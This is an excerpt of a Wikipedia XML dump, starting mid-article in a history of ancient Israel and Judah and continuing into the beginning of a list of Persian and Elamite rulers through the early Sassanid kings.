God called Abram to faith and obedience. Abram married Sarai. He and his extended clan then moved to the land of [[Canaan]]. According the Bible, [[God]] called Abram to go to &quot;the land I will show you&quot;, and promised to bless him and make him (though hitherto childless) a great nation. Trusting this promise, Abram journeyed down to [[Shechem]], then to a spot between [[Bethel]] and [[Ai (biblical)|Ai]]. He then moved to the oaks of [[Mamre]] in [[Hebron]].

The name ''Abraham'' was given to Abram (and the name [[Sarah]] to Sarai) at the same time as the covenant of [[circumcision]] (chapter 17), which is practiced in [[Judaism]] and [[Islam]] to this day. At this time Abraham was promised not only many descendants, but descendants through Sarah specifically, as well as the land where he was living, which was to belong to his descendants. The covenant was to be fulfilled through [[Isaac]], though God promised that Ishmael would become a great nation as well.

Some modern historians dispute the historical accuracy of the patriarchal narratives in the Bible, and hold these events to be largely, or perhaps entirely, mythical. Others consider them to be largely historical, and presented in terms reflecting the understanding of the times.

Abraham's grandson [[Jacob]] was later renamed Israel, and according to the Biblical account, his twelve sons became the fathers of the [[Israelites|twelve tribes of Israel]][http://www.us-israel.org/jsource/History/hebpat.html][http://www.theology.edu/otha01.htm]

==Egyptian domination==

The narrative behind how the Israelites became slaves, or if they did at all, is still unclear in many sources.  A few historians believe that this may have been due to the changing political conditions within Egypt. In [[1600s BCE|1600 BCE]], Egypt was conquered by tribes, apparently Semitic, known as the [[Hyksos]] by the Egyptians. The Hyksos were later driven out by [[Kamose]], the last king of the seventeenth dynasty. Between [[1540s BCE|1540]]-[[1070s BCE|1070 BCE]], [[Ahmose I]] founded the [[Eighteenth dynasty of Egypt|18th Egyptian dynasty]], and a new age for Egypt, the [[New Kingdom]]. [[Thutmose III]] established Egypt's empire in the western Near East.  From then on, the chronology can only roughly be given in approximate dates for most events, until about the 7th century BCE.

*[[1440s BCE|1440 BCE]] The Egyptian reign of [[Amenhotep II]], during which the first mention of the [[Habiru|Habiru]] (possibly the Hebrews) is found in Egyptian texts [http://www.us-israel.org/jsource/History/hebrews.html].  Recently discovered evidence (see [[Tikunani Prism]]) indicates that the Habiru spoke [[Hurrian]], the language of the [[Hurrians]].

*c.[[1400]] First mention of the [[Shasu]] in Egyptian records, located just south of the Dead Sea. The Shasu contain a group with a [[Yahwistic]] name.

*[[1300s BCE|1300 BCE]] The Bible places the birth of Moses around this time. [http://www.jajz-ed.org.il/history/body1.htm] [http://www.us-israel.org/jsource/biography/moses.html]

*[[1290s BCE|1295 BCE]]  Egypt's 19th dynasty began with the reign of [[Ramses I]]. [[Ramses II]] ([[1270s BCE|1279]]-[[1210s BCE|1213 BCE]]) filled the land with enormous monuments, and signed a treaty with the [[Hittites]] after losing the northern Levant to the Hittite Empire.

[[Moses]] led the Israelites out of Egypt. The Israelites then wandered in the desert for 40 years, and eventually came to &quot;the promised land&quot; in [[Canaan]]. Moses died before entering Canaan, and [[Joshua]] became the next leader. (If, however, the parting of the [[Red Sea]] was caused by the eruption of the [[Santorini]] [[volcano]], then [[The Exodus]] might have happened around [[1500 BCE]].)

==[[Book of Judges|Period of the Judges]]==
[[Image:1759_map_Holy_Land_and_12_Tribes.jpg|thumb|1759 map of the tribal allotments of Israel]]

The [[Hebrews]] migrated into [[Canaan]] circa [[1200s BCE|1200 BCE]], a time when the great powers of the region were neutralized by troubles of various kinds. In their initial attacks under [[Joshua]], the [[Hebrews]] occupied most of Canaan, which they settled according to traditional family lines derived from the sons of Jacob and Joseph (the &quot;tribes&quot; of Israel). No formal government existed and the people were led by ad hoc leaders (the &quot;judges&quot; of the biblical [[Book of Judges]]) in times of crisis.  Around this time, the name &quot;Israel&quot; is first mentioned in a contemporary archaeological source, the [[Merneptah Stele]].

[[1200s BCE|1200 BCE]]. The Hittite empire of Anatolia was conquered by allied tribes from the west. The northern, coastal Canaanites (called the [[Phoenicia]]ns by the Greeks) may have been temporarily displaced, but returned when the invading tribes showed no inclination to settle. [http://www.escape.com/~farras/ugarit.htm]

Circa [[1180s BCE|1185 BCE]] the [[Sea People]], as they were called by the Egyptians, swept across [[Asia Minor]] and the Mediterranean. They invaded [[Egypt]] in [[Ramesses III]]'s reign, but were repelled.  Amongst them were a group called the ''P-r-s-t'' (first recorded by the ancient Egyptians as ''P-r/l-s-t'') generally identified with the Philistines. They appear in the [[Medinet Habu]] inscription of [[Ramses III]][http://www.courses.psu.edu/cams/cams400w_aek11/mhabtext.html], where he describes his victory against the [[Sea Peoples]].  [[Nineteenth-century]] Bible scholars identified the land of the Philistines (''Philistia'' or ''Peleshet'' in [[Hebrew language|Hebrew]] meaning &quot;invaders&quot;) with ''Palastu'' and ''Pilista'' in [[Assyria]]n inscriptions, according to ''Easton's Bible Dictionary'' (1897). 

The name is used in the Bible to denote the coastal region inhabited by the Philistines. The five principal Philistine cities were [[Gaza]], [[Ashdod]], [[Ekron]], [[Gath]], and [[Ashkelon]]. Modern archaeology has suggested early cultural links with the [[Mycenaean Greece|Mycenean]] world in mainland Greece. Though the Philistines adopted local Canaanite culture and language before leaving any written texts, an [[Indo-European languages|Indo-European]] origin has been suggested for a handful of known Philistine words.

[[1140s BCE|1140 BCE]] the Canaanite tribes tried to destroy the Israelite tribes of northern and central Canaan.  According to the Bible, the Israelite response was led by [[Barak]], and the Hebrew [[prophet]] [[Deborah]]. The Canaanites were defeated.

==The United Monarchy==

Increasing pressure from the [[Philistines]] and other neighboring tribes forced the [[Israelites]] to unite under one king. The notion of kingship was for a long time anathemetised, as it was seen as one man being put in a position of reverence and power that in their faith was reserved for the one true [[God]].  According to the Bible, it was [[Samuel]], one of last of the judges, to whom the nation appealed for a king. Although he tried to disuade them, they were resolute and Samuel anointed [[Saul the King|Saul ben Kish]] from the tribe of [[Benjamin]] as the first king of the Israelites in approximately [[1020s BCE|1020 BCE]].  It was his successor, [[David]] c.[[1000s BCE|1006 BCE]], who was responsible for consolidating the monarchy and creating the first Hebrew state.

David waged several, successful military campaigns, annexing [[Philistia]], [[Edom]], [[Moab]], [[Ammon]], and parts of ancient [[Aram]] (roughly modern [[Syria]]) known as [[Aram-Zobah]], and [[Aram-Damascus]]. Aram itself became a vassal state of Israel under David.

Perhaps the most important event of David's reign was his capture of [[Jerusalem]] from the Canaanite Jebusites.  By moving his capital from [[Hebron]] and making [[Jerusalem]] his capital, David ensured its lasting importance as a religious center.

David was succeeded by his son [[Solomon]] around [[960s BCE|965 BCE]]. Solomon's reign was largely peaceful and the kingdom prospered, becoming an international power and a center of culture and trade. But maintaining his splendid court life and ambitious building projects, including the [[Temple of Solomon|First Temple]] at [[Jerusalem]], proved burdensome to his people.
Some Hebrews were used as forced labor and territory was ceded to [[Tyre]] in return for supplying craftsmen and materials.  He was criticized for tolerating the pagan religious practices of the many non-Hebrew wives he had acquired from diplomatic marriages.

However, on Solomon's death in c. [[920s BCE|926 BCE]] tensions between the northern and southern tribes mounted. When [[Solomon]] successor Rehoboam dealt tactlessly with the economic complaints of the northern tribes the kingdom split in to halves: the kingdom of Israel in the north (including the cities of [[Shechem]] and [[Samaria]]), and the kingdom of Judah in the south (containing Jerusalem). Most of the non-Hebrew provinces fell away.

==The period of the Kingdoms of Israel and Judah==
[[Image:Levant 800.png|thumb|272px|Map of the southern [[Levant]], c.[[800 BCE]].]]
In [[920s BCE|922 BCE]], the [[Kingdom of Israel]] was divided. [[Kingdom of Judah|Judah]], the southern Kingdom, had Jerusalem as its capital and was led by [[Rehoboam]]. It was populated by the tribes of 
[[tribe of Judah|Judah]], 
[[tribe of Benjamin|Benjamin]], and 
[[tribe of Simeon|Simeon]] (and some of 
[[tribe of Levi]]). Simeon and Judah later merged, and Simeon lost its separate identity. [http://www.us-israel.org/jsource/History/Kingdoms1.html] [http://www.israel-mfa.gov.il/facts/hist/fhist2.html#divided]

[[Jeroboam]] led the revolt of the northern tribes, and established the Kingdom of Israel, consisting of nine tribes: 
[[tribe of Zebulun|Zebulun]], 
[[tribe of Issachar|Issachar]], 
[[tribe of Asher|Asher]], 
[[tribe of Naphtali|Naphtali]], 
[[tribe of Dan|Dan]], 
[[tribe of Manasseh|Menasseh]], 
[[tribe of Ephraim|Ephraim]], 
[[tribe of Reuben|Reuben]] and 
[[tribe of Gad|Gad]] (and some of Levi), with [[Samaria]] as its capital. [http://www.us-israel.org/jsource/History/Kings.html] [http://www.us-israel.org/jsource/History/Judah.html]

Israel fell to the [[Assyrian Empire|Assyrians]] in [[720s BCE|721 BCE]]; Judah fell to the [[Babylonia|Babylonians]] a little over a century later, in [[590s BCE|597 BCE]].

==The period of captivity==
In [[720s BCE|722 BCE]], the Assyrians, under [[Shalmaneser III|Shalmaneser]], and then under [[Sargon II|Sargon]], conquered Israel (the northern Kingdom), destroyed its capital Samaria, and sent many of the Israelites into exile and captivity. The ruling class of the northern kingdom (perhaps a small portion of the overall population) were deported to other lands in the Assyrian empire and a new nobility was imported by the Assyrians. 

*[[720s BCE|729]]-[[680s BCE|687 BCE]]. Reign of king [[Hezekiah]] of Judah.  He is noted in the Bible for initiating reforms that outlawed, or enforced Jewish laws against, [[idolatry]] (in this case, the worship of [[Ba'al]]im and/or [[Asherah]], among other traditional Near Eastern divinities). [http://scholar.cc.emory.edu:80/scripts/ASOR/BA/Borowski.html]

*[[680s BCE|687]]-[[630s BCE|638 BCE]]. Reign of King Manasseh.
*[[630s BCE|638]]-[[630s BCE|637 BCE]]. Reign of king Amon.
These two kings reversed Hezekiah's reforms and officially revived idolatry. According to later rabbinical accounts, Manasseh placed a grotesque, four-faced idol in the Holy of Holies.

*[[630s BCE|637]]-[[600s BCE|607 BCE]]. The reign of king [[Josiah]] was accompanied by a religious reformation. According to the Bible, while repairs were made on the Temple, a 'Book of the Law' was discovered (possibly the book of [[Deuteronomy]]). [http://www.infidels.org/library/modern/gerald_larue/otll/chap19.html]

*[[610s BCE|612 BCE]]. Nabopolassar of Babylonia attacked and destroyed the Assyrian capital city of [[Nineveh]], regaining Babylonia's independence. The Assyrian empire was destroyed.

*[[580s BCE|587 BCE]]. Babylon, under king [[Nebuchadnezzar II of Babylon|Nebuchadnezzar II]], seized Jerusalem. The First Temple was destroyed; the date was the 9th of ''Av'', or ''[[Tisha B'Av]]''. [http://www.jajz-ed.org.il/festivls/9avrka.html]

*[[580s BCE|586 BCE]]. Conquest of Judah (Southern Kingdom) by Babylon. Part of Judah's population, primarily the nobility, was exiled to [[Babylonian captivity of Judah|Babylon]].

*[[720s BCE|722]] &amp; [[580s BCE|586 BCE]]. The First Dispersion, or [[Jewish diaspora|Diaspora]]. Jews were either taken as slaves in what is commonly referred to as the [[Babylonian captivity of Judah]], or they fled to Egypt, Syria, Mesopotamia, or Persia. [http://www.us-israel.org/jsource/History/Exile.html]

*[[550s BCE|559 BCE]]. [[Cyrus the Great]] became King of [[Iran|Persia]]. [http://www.us-israel.org/jsource/History/Persians.html]

*[[530s BCE|539 BCE]]. The [[Babylonian Empire]] fell to Persia under Cyrus.

*[[550s BCE|550]]-[[330s BCE|333 BCE]]. The Persian Empire ruled over much of Western Asia, including Israel.

==Rebuilding the Temple==
*[[530s BCE|537 BCE]]. Cyrus allowed [[Sheshbazzar]], a prince from the tribe of Judah, to bring the Jews from Babylon back to Jerusalem. Jews were allowed to return with the Temple vessels that the Babylonians had taken. Construction of the [[Second Temple]] began.[http://jeru.huji.ac.il/ec1.htm][http://www.us-israel.org/jsource/Judaism/return.html]

*[[520s BCE|520]]-[[510s BCE|515 BCE]]. Under the spiritual leadership of the Prophets [[Haggai]] and [[Zechariah]], the Second Temple was completed. At this time the Holy Land is a subdistrict of a Persian ''satrapy'' (province).

&lt;!-- (Section on Greece before Alexander commented out; not really necessary for this article) *[[480s BCE|480]]-[[320s BCE|323 BCE]]. Classical Greek period. [[Greco-Persian Wars|Persian War]], [[Peloponnesian War]].[http://academic.brooklyn.cuny.edu/classics/thucydes.htm][http://academic.brooklyn.cuny.edu/classics/sophists.htm]

During this time period, [[Alexander the Great]] conquered the Near and Middle East. [http://www.wallop.demon.co.uk/alexander/]

Development of early [[democracy]]. Height of [[History of Athens|Athenian]] culture. [http://mars.acnet.wnec.edu/~grempel/courses/wc1/lectures/07democracy.html]--&gt;
*[[440s BCE|444 BCE]]. The reformation of Israel was led by the Jewish scribes [[Nehemiah]] and [[Ezra]].  Ezra instituted [[synagogue]] and prayer services, and canonized the [[Torah]] by reading it publicly to the Great Assembly that he set up in Jerusalem. Ezra and Nehemiah flourished around this era. [http://www.infidels.org/library/modern/gerald_larue/otll/chap25.html][http://www.cis.ohio-state.edu/hypertext/faq/usenet/judaism/FAQ/03-Torah-Halacha/faq-doc-8.html]  (This was the Classical period in Greece)

==The legacy of Alexander the Great and the dawn of Rabbinic Judaism==
*[[331 BCE]]. The Persian Empire was defeated by Alexander the Great. The Empire of Alexander the Great included Israel.[http://mars.acnet.wnec.edu/~grempel/courses/wc1/lectures/09alexander.html]  However, it is said that he did not attack Jerusalem directly, after a delegation of Jews met him and assured him of their loyalty by showing him certain prophecies contained in their writings.

*[[323 BCE]]. [[Alexander the Great]] died. In the power struggle after Alexander's death, the part of his empire that included Israel changed hands at least five times in just over twenty years.  Babylonia and Syria were ruled by the [[Seleucid dynasty|Seleucids]], and Egypt by the [[Ptolemaic dynasty|Ptolemies]].

*[[301 BCE]]. [[Ptolemy I of Egypt|Ptolemy I Soter]] became the first Ptolemaic ruler of Israel.

*[[250 BCE]]. The beginning of the [[Pharisees]] party (rabbinic, or modern, Jews), and other Jewish sects such as the [[Sadducees]] and [[Essenes]]. [http://www.us-israel.org/jsource/Judaism/The_Temple.html]

*[[198 BCE]]. Armies of the Seleucid King [[Antiochus III the Great|Antiochus III]] (Antiochus the Great) ousted [[Ptolemy V of Egypt|Ptolemy V]] from Judea and Samaria.

*[[180 BCE|180]]-[[142 BCE]]. The [[Maccabees|Maccabee]] Rebellion, [[Hanukkah]] and the [[Hasmonean]] Kingdom [http://www.us-israel.org/jsource/History/Maccabees.html]

*[[160 BCE]]-[[60 BCE]] Somewhere around this time, the community at [[Qumran]] began.  From whom came the [[Dead Sea Scrolls]].

==Roman conquests==
In [[63 BCE]], [[Pompey]] conquered the region and made it a client kingdom of Rome. In [[6]] CE, [[Caesar Augustus]] made it a [[Roman province]] under a [[promagistrate|procurator]].

From [[40 BCE]] - [[4 BCE]], [[Herod the Great]] is King of Judea.

In [[20 BCE]], [[Herod Antipas]], son of [[Herod the Great]] is born.

In [[4 BCE]] - [[4]], [[Jesus]] is said to have been born.

From [[4 BCE]] - [[6]],[[Herod Archelaus]] is Ethnarch.

From [[26]] to [[36]] [[Pontius Pilate]] was the governor of the Roman province of Judea.

In [[66]], the [[Great Jewish Revolt]] broke out, lasting until [[73]]. In [[67]], Vespasian and his forces landed in the north of Israel, where they received the submission of Jews from Ptolemais to Sepphoris. The Jewish garrison at Yodfat (Jodeptah) was massacred after a two month siege.  By the end of this year, Jewish resistance in the north had been crushed.

In [[69]], [[Vespasian]] seized the throne after a civil war. By [[70]], the Romans had occupied Jerusalem. [[Titus]], son of the Roman Emperor, destroyed  the Second Temple on the 9th of ''Av'', ie. ''Tisha B'Av'' (656 years to the day after the destruction of the First Temple in 587 BCE). Over 100,000 Jews died during the siege, and nearly 100,000 were taken to Rome as slaves. Many Jews fled to Mesopotamia (Iraq), and to other countries around the Mediterranean.

After [[70]] the Romans, seeking to suppress the name &quot;Judaea&quot;, reorganized it as part of the province of [[Syria-Palestine]].  The Latin name, ''Palaestina'', was chosen in honour of the [[Philistines]], who had occupied the coastline much earlier and whom the Romans identified as the worst enemies of the Jews in history.{{fact}} From then on the region was known as Palestine.

Rabbi Yochanan ben Zakkai escaped from Jerusalem.  He obtained permission from the Roman general to establish a center of Jewish learning and the seat of the [[Sanhedrin]] in the outlying town of Yavneh. Judaism survived the destruction of Jerusalem through this new center. The Sanhedrin became the supreme religious, political and judicial body for Jews worldwide until [[425|425 CE]], when it was forcibly disbanded by the Roman government, by then officially dominated by the [[Christian Church]]. [http://www.shamash.org/jb/bk950804/comm2.htm]

In [[73]] the last Jewish resistance was crushed by Rome at the mountain fortress of [[Masada]]; the last 900 defenders committed suicide rather than be captured and sold into slavery.

In [[132]] [[Simon bar Kokhba]] led a revolt and declared an independent state in Israel.  By [[135]] this revolt was crushed by Rome.

[[200 BCE]]- [[100]] CE. At some point during this period the [[Tanakh]] ([[Hebrew Bible]], [[Old Testament]]) was canonized.

==See also==
=== Notable people ===
*[[Abraham]], [[Isaac]], [[Jacob]], [[Joseph (dreamer)|Joseph]], [[Benjamin]], [[Moses]], [[Joshua]]

===Partial list of kings of Israel===
*[[Saul the King|Saul]] [[1020s BCE|1020]]&amp;ndash;[[1000s BCE|1005 BCE]]
*[[David]] [[1000s BCE|1005]]&amp;ndash;[[960s BCE|965 BCE]]
*[[Solomon]] [[960s BCE|965]]&amp;ndash;[[920s BCE|926 BCE]]
*[[Jeroboam]] [[920s BCE|926]]&amp;ndash;[[900s BCE|909 BCE]]
*[[Omri]] 
*[[Ahab]] [[870s BCE|875 BCE]]
*[[Jehoash]]
*[[Jeroboam II]] [[820s BCE|825]]&amp;ndash;[[780s BCE|784 BCE]]

===Partial list of kings of Judah===
*[[Rehoboam]] [[920s BCE|926 BCE]]&amp;ndash;
*[[Abijah]]
*[[Amaziah]]
*[[Uzziah]]
*[[Jehoshaphat]]
*[[Hezekiah]]
*[[Josiah]]

===Notable places===
*[[Bethlehem]], [[Chaldea]], [[Galilee]], [[Jerusalem]], [[Nazareth]], [[Palestine (region)|Palestine]], [[Sidon]], [[Tyre]]

===Religious places and objects===
*The [[Temple in Jerusalem]], the [[Ark of the covenant]]

==See also==
*[[Bible]]
*[[Biblical archaeology]]
*[[Documentary hypothesis]] (a discussion of how modern critics view Bible studies.)
*[[Hebrew Bible]]
*[[History of Israel]]
*[[History of Levant]]
*[[Israelite]]
*[[Old Testament]]
*[[Tanakh]]
*[[Torah]]

== References ==
* ''[[Ancient Judaism (book)|Ancient Judaism]]'', [[Max Weber]], Free Press, 1967, ISBN 0029341302


[[Category:Ancient Israel and Judah]]
[[Category:History of the Middle East]]

[[es:Historia del antiguo reino de Israel]]
[[pl:Starożytny Izrael]]</text>
    </revision>
  </page>
  <page>
    <title>List of kings of Persia</title>
    <id>13877</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42025693</id>
      <timestamp>2006-03-03T08:03:31Z</timestamp>
      <contributor>
        <username>Fastifex</username>
        <id>411070</id>
      </contributor>
      <comment>/* [[Pahlavi dynasty]], [[1925]]–[[1979]]  and in exile*/ Cyrus Reza II</comment>
      <text xml:space="preserve">{{Iran}}
The following is a comprehensive list of all [[Persian Empire]]s and their rulers:

{{History Timeline of Iran}}

==Early realms in Iran==
===[[Elam|Elamite Kingdom]], [[3000 BC|3000]]–[[660 BC]]===
The Elamites were a people located in [[Susa]], in what is now [[Khuzestan]] province. Their language was neither [[Semitic]] nor [[Indo-European]], and they were the geographic precursors of the Persian/Median empire that later appeared. Some have offered evidence for a linguistic kinship between Elamite and the modern [[Dravidian languages]] of Southern [[India]] (see &quot;[[Elamo-Dravidian languages]]&quot;) but this is not universally accepted.  The ''proto-Elamites'' lived even as far back as 7,500 years ago in [[Iran]]. See remains [[Sialk|here]].

'''Avan Dynasty (precise dates unknown)'''

*Peli (fl. c. [[2500 BC]])
*Tata (precise dates unknown)
*Ukku-Takhesh (precise dates unknown)
*Khishur (precise dates unknown)
*Shushun-Tarana (precise dates unknown)
*Napil-Khush (precise dates unknown)
*Kikku-Sive-Temti (precise dates unknown)
*Lukh-Ishshan (fl. c. [[24th century BC|24th century]])
*Khelu (fl. c. [[24th century BC|24th century]])
*Khita (fl. c. [[23rd century BC|23rd century]])
*Kutik-Inshushinnak (fl. c. [[23rd century BC|2240]])

'''Simash Dynasty (precise dates unknown)'''

*Gir-Namme (fl. c. [[2030s BC|2030]])
*Enpi-Luhhan (fl. c. [[2010s BC|2010]])
*Khutran-Temtt (precise dates unknown)
*Kindattu (precise dates unknown)
*Indattu-Inshushinnak I (precise dates unknown)
*Tan-Rukhurater (precise dates unknown)
*Indattu-Inshushinnak II (precise dates unknown)
*Indattu-Napir (precise dates unknown)
*Indattu-Tempt (precise dates unknown)

'''Eparti Dynasty (precise dates unknown)'''

*Eparti I (precise dates unknown)
*Eparti II (precise dates unknown)
*Eparti III (fl. c. [[19th century BC|1850]])
*Shilkhakha (precise dates unknown)
*Attakhushu (fl. c. [[19th century BC|1830]])
*Sirukdukh (fl. c. [[18th century BC|1792]])
*Shimut-Wartash (c. [[18th century BC|1772]] – c. [[18th century BC|1770]])

'''Igehalkid Dynasty (c. 1350 – c. 1200 BC)'''

*Ige-Halki (c. [[1350s BC|1350]] – c. [[1330s BC|1330]])
*Pakhir-Ishshan (c. [[1330s BC|1330]] – c. [[1310s BC|1310]])
*Attar-Kittakh (c. [[1310s BC|1310]] – c. [[1300s BC|1300]])
*Khuman-Numena (c. [[1300s BC|1300]] – c. [[1270s BC|1275]])
*Untash-Naprisha (c. [[1270s BC|1275]] – c. [[1240s BC|1240]])
*Unpatar-Naprisha (c. [[1240s BC|1240]] – c. [[1230s BC|1235]])
*Kiddin-Khutran (c. [[1230s BC|1235]] – c. [[1210s BC|1210]])

'''Shutrukid Dynasty (c. 1205 – c. 1100 BC)'''

*Khallutush-In-Shushinak (c. [[1200s BC|1205]] – c. [[1180s BC|1185]])
*[[Shutruk-Nahhunte]] (c. [[1180s BC|1185]] – c. [[1150s BC|1155]])
*Kutir-Nahhunte III (c. [[1150s BC|1155]] – c. [[1150s BC|1150]])
*Shilkhak-In-Shushinak (c. [[1150s BC|1150]] – c. [[1120s BC|1120]])
*Khutelutush-In-Shushinak (c. [[1120s BC|1120]] – c. [[1110s BC|1110]])
*Shilhana-Hamru-Lagamar (c. [[1110s BC|1110]] – ????)

'''Late Elam Dynasty (743–644)'''

*Khumbanigash I ([[743 BC|743]]–[[717 BC|717]])
*Shuttir-Nakhkhunte ([[717 BC|717]]–[[699 BC|699]])
*Khallushu ([[699 BC|699]]–[[693 BC|693]])
*Kutir-Nakhkhunte ([[693 BC|693]]–[[692 BC|692]])
*Khumma-Menanu ([[692 BC|692]]–[[689 BC|689]])
*Khumma-Khaldash I ([[689 BC|689]]–[[681 BC|681]])
*Khumma-Khaldash II ([[681 BC|681]]–[[680 BC|680]])
*Khumma-Khaldash II &amp; Shilhak-In-Shushinak ([[680 BC|680]]–[[676 BC|676]])
*Shilhak-In-Shushinak &amp; Urtaku ([[676 BC|676]]–[[664 BC|664)]]
*Shilhak-In-Shushinak &amp; Tempti-Khumma-In-Shushinak ([[664 BC|664]]–[[653 BC|653]])
*Atta-Khumma-In-Shushinak &amp; Khumbanigash II ([[653 BC|653]]–[[651 BC|651]])
*Atta-Khumma-In-Shushinak &amp; Tammaritu ([[651 BC|651]]–[[649 BC|649]])
*Atta-Khumma-In-Shushinak &amp; Indabigash ([[649 BC|649]]–[[648 BC|648]])
*Indabigash ([[648 BC|648]]–[[647 BC|647]])
*Khumma-Khaldash III ([[647 BC|647]]–[[644 BC|644]])

===[[Jiroft Kingdom]], c. 2500 BC===
The recent archeological findings at [[Jiroft]] have uncovered an &quot;independent, bronze age, civilization with its own architecture and language&quot; that have led some archeologists to speculate it to be the remains of the lost '''[[Aratta]] Kingdom'''. [http://www.saudiaramcoworld.com/issue/200405/what.was.jiroft..htm 1]

==Empire of Medians and Persians==
===[[Medes|Median]] Dynasty, 728–550 BC===
*[[Deioces]], [[728 BC|728]]–[[675 BC|675]]
*[[Phraortes]], [[675 BC|675]]–[[653 BC|653]]
*[[Madius|Madius the Scythian]], [[653 BC|653]]–[[625 BC|625]]
*[[Cyaxares]], [[625 BC|625]]–[[585 BC|585]]
*[[Astyages]], [[585 BC|585]]–[[550 BC|550]]

The Medes were an Iranian people. The '''Persians''', a closely related and subject people, revolted against the [[Medes|Median empire]] during the [[6th century BC]].

===[[Achaemenid dynasty]], 550–330 BC===
*[[Achaemenes]], founder of the dynasty, king of Persia.
*[[Teispes of Anshan]], his son, king of Persia, king of Anshan, died [[640]].

&lt;table border=1 cellpadding=5&gt;
&lt;tr&gt;&lt;td colspan=2&gt;&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;Line of Cyrus&lt;/th&gt;
&lt;th&gt;Line of Ariaramnes&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt; &lt;!-- Cyrus--&gt;
*[[Cyrus I of Anshan]], son of Teispes, king of Anshan [[640 BC|640]]–[[580 BC|580]].
*[[Cambyses I of Anshan]], his son, king of Anshan [[580 BC|580]]–[[559 BC|559]].
*[[Cyrus II of Persia|Cyrus II the Great]], his son, king of Anshan [[559 BC|559]]–[[529 BC|529]]. He conquered the Median Empire in [[550]] and established the [[Persian Empire]].
&lt;/td&gt;

&lt;td&gt; &lt;!-- Ariaramnes --&gt;
*[[Ariaramnes of Persia]], son of Teispes, king of Persia.
*[[Arsames of Persia]], son of Ariaramnes, king of Persia until [[550]], died after [[520]].
*His son [[Hystaspes]] was Satrap of [[Parthia]] under [[Cambyses II]],  [[Smerdis]] and his son [[Darius I of Persia|Darius]].
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;&lt;td colspan=2&gt;&lt;/tr&gt;
&lt;/table&gt;

*[[Cyrus II of Persia|Cyrus II the Great]], established the [[Persian Empire]] and ruled it from [[550 BC|550]]–[[529 BC|529]].
*[[Cambyses II]], his son, ruled [[530 BC|530]]–[[522 BC|522]].
*[[Smerdis]], his alleged brother, ruled [[522 BC|522]].
*[[Darius I of Persia|Darius I the Great]], son of [[Hystaspes]], ruled [[521 BC|521]]–[[486 BC|486]].
*[[Xerxes I]], his son, ruled [[486 BC|486]]–[[465 BC|465]].
*[[Artaxerxes I|Artaxerxes I Longimanus]], his son, ruled [[464 BC|464]]–[[424 BC|424]].
*[[Xerxes II]], his son, ruled [[424 BC |424]].
*[[Sogdianus]], his half-brother, ruled [[424 BC|424]]–[[423 BC|423]].
*[[Darius II|Darius II Nothus]], his half-brother and rival, ruled [[423 BC|423]]–[[404 BC|404]].
*[[Artaxerxes II|Artaxerxes II Memnon]], his son, ruled [[404 BC|404]]–[[358 BC|358]] (see also [[Xenophon]]).
*[[Artaxerxes III|Artaxerxes III Ochus]], his son, ruled [[358 BC|358]]–[[338 BC|338]].
*[[Arses of Persia|Artaxerxes IV Arses]], his son, ruled [[338 BC|338]]–[[336 BC|336]].
*[[Darius III of Persia|Darius III Codomannus]], great-grandson of Darius II, ruled [[336 BC|336]]–[[330 BC|330]].
*Artaxerxes V [[Bessus]], a usurper who murdered Darius and continued the resistance against [[Alexander the Great]] from [[330 BC|330]]–[[329 BC|329]].

The epigraphic evidence for ancestors of [[Darius I of Persia|Darius I the Great]] is highly suspect and might have been invented by that king.

==Hellenistic rulers==
===[[Argead Dynasty]], 330–310 BC===
*[[Alexander of Macedon]] (Alexander the Great) ([[330 BC]]–[[323 BC|323]])
*[[Philip III of Macedon|Philip III Arrihadeus]] ([[323 BC]]–[[317 BC|317]])
*[[Alexander IV of Macedon|Alexander IV]] ([[323 BC]]–[[310 BC|310]])

===[[Seleucid dynasty]], 305–164 BC===
*[[Seleucus I Nicator]] ([[312 BC|312]]/[[305 BC|305]]–[[281 BC|281]])
*[[Antiochus I Soter]] (co-ruler from [[291 BC|291]], ruled [[281 BC|281]]–[[261 BC|261]])
*[[Antiochus II Theos]] ([[261 BC|261]]–[[246 BC|246]])
*[[Seleucus II Callinicus]] ([[246 BC|246]]–[[225 BC|225]])
*[[Seleucus III Ceraunus]] ([[225 BC|225]]–[[223 BC|223]])
*[[Antiochus III the Great]] ([[223 BC|223]]–[[187 BC|187]])
*[[Seleucus IV Philopator]] ([[187 BC|187]]–[[175 BC|175]])
*[[Antiochus IV Epiphanes]] ([[175 BC|175]]–[[164 BC|164]])
*[[Antiochus V Eupator]] ([[164 BC|164]]–[[162 BC|162]])
*[[Demetrius I Soter]] ([[162 BC|162]]–[[150 BC|150]])
*[[Alexander Balas]] ([[150 BC|150]]–[[145 BC|145]])
*[[Demetrius II Nicator]] ([[145 BC|145]]–[[139 BC|139]])

The Seleucid Dynasty gradually lost control of Persia. In [[253 BC|253]], the [[Arsacid Dynasty]] established itself in [[Parthia]]. The Parthians gradually expanded their control, until by the mid [[2nd century BC]], the Seleucids had completely lost control of Persia.  There were more Seleucid rulers of Syria and, for a time, Babylonia, after Antiochus IV, but none had any effective power in Persia).

==[[Parthia|Parthian]] dynasty ([[Arsacid dynasty]]), 247 BC – AD 224==
{{Arsacid dynasty}} 
There were various regional client dynasties, often with significant autonomy.

==[[Sassanid dynasty]], AD 224–651==
*[[Ardashir I of Persia|Ardashir I]], [[224]] to [[241]].
*[[Shapur I of Persia|Shapur I]], [[241]]–[[272]], starting claiming universal rule: Iran &amp; Aniran, i.e. the rest of the world.
*[[Hormizd I of Persia|Hormizd I]], [[272]]–[[273]].
*[[Bahram I of Persia|Bahram I]], [[273]]–[[276]].
*[[Bahram II of Persia|Bahram II]], [[276]]–[[293]].
*[[Bahram III of Persia|Bahram III]] year [[293]].
*[[Narseh of Persia|Narseh]], [[293]]–[[302]].
*[[Hormizd II of Persia|Hormizd II]], [[302]]–[[310]].
*[[Shapur II of Persia|Shapur II]], [[310]]–[[379]]
*[[Ardashir II of Persia|Ardashir II]], [[379]]–[[383]].
*[[Shapur III of Persia|Shapur III]], [[383]]–[[388]].
*[[Bahram IV of Persia|Bahram IV]], [[388]]–[[399]].
*[[Yazdegerd I of Persia|Yazdegerd I]], [[399]]–[[420]].
*[[Bahram V of Persia|Bahram V]], [[420]]–[[438]].
*[[Yazdegerd II of Persia|Yazdegerd II]], [[438]]–[[457]].
*[[Hormizd III of Persia|Hormizd III]], [[457]]–[[459]].
*[[Peroz I of Persia|Peroz I]], [[457]]–[[484]].
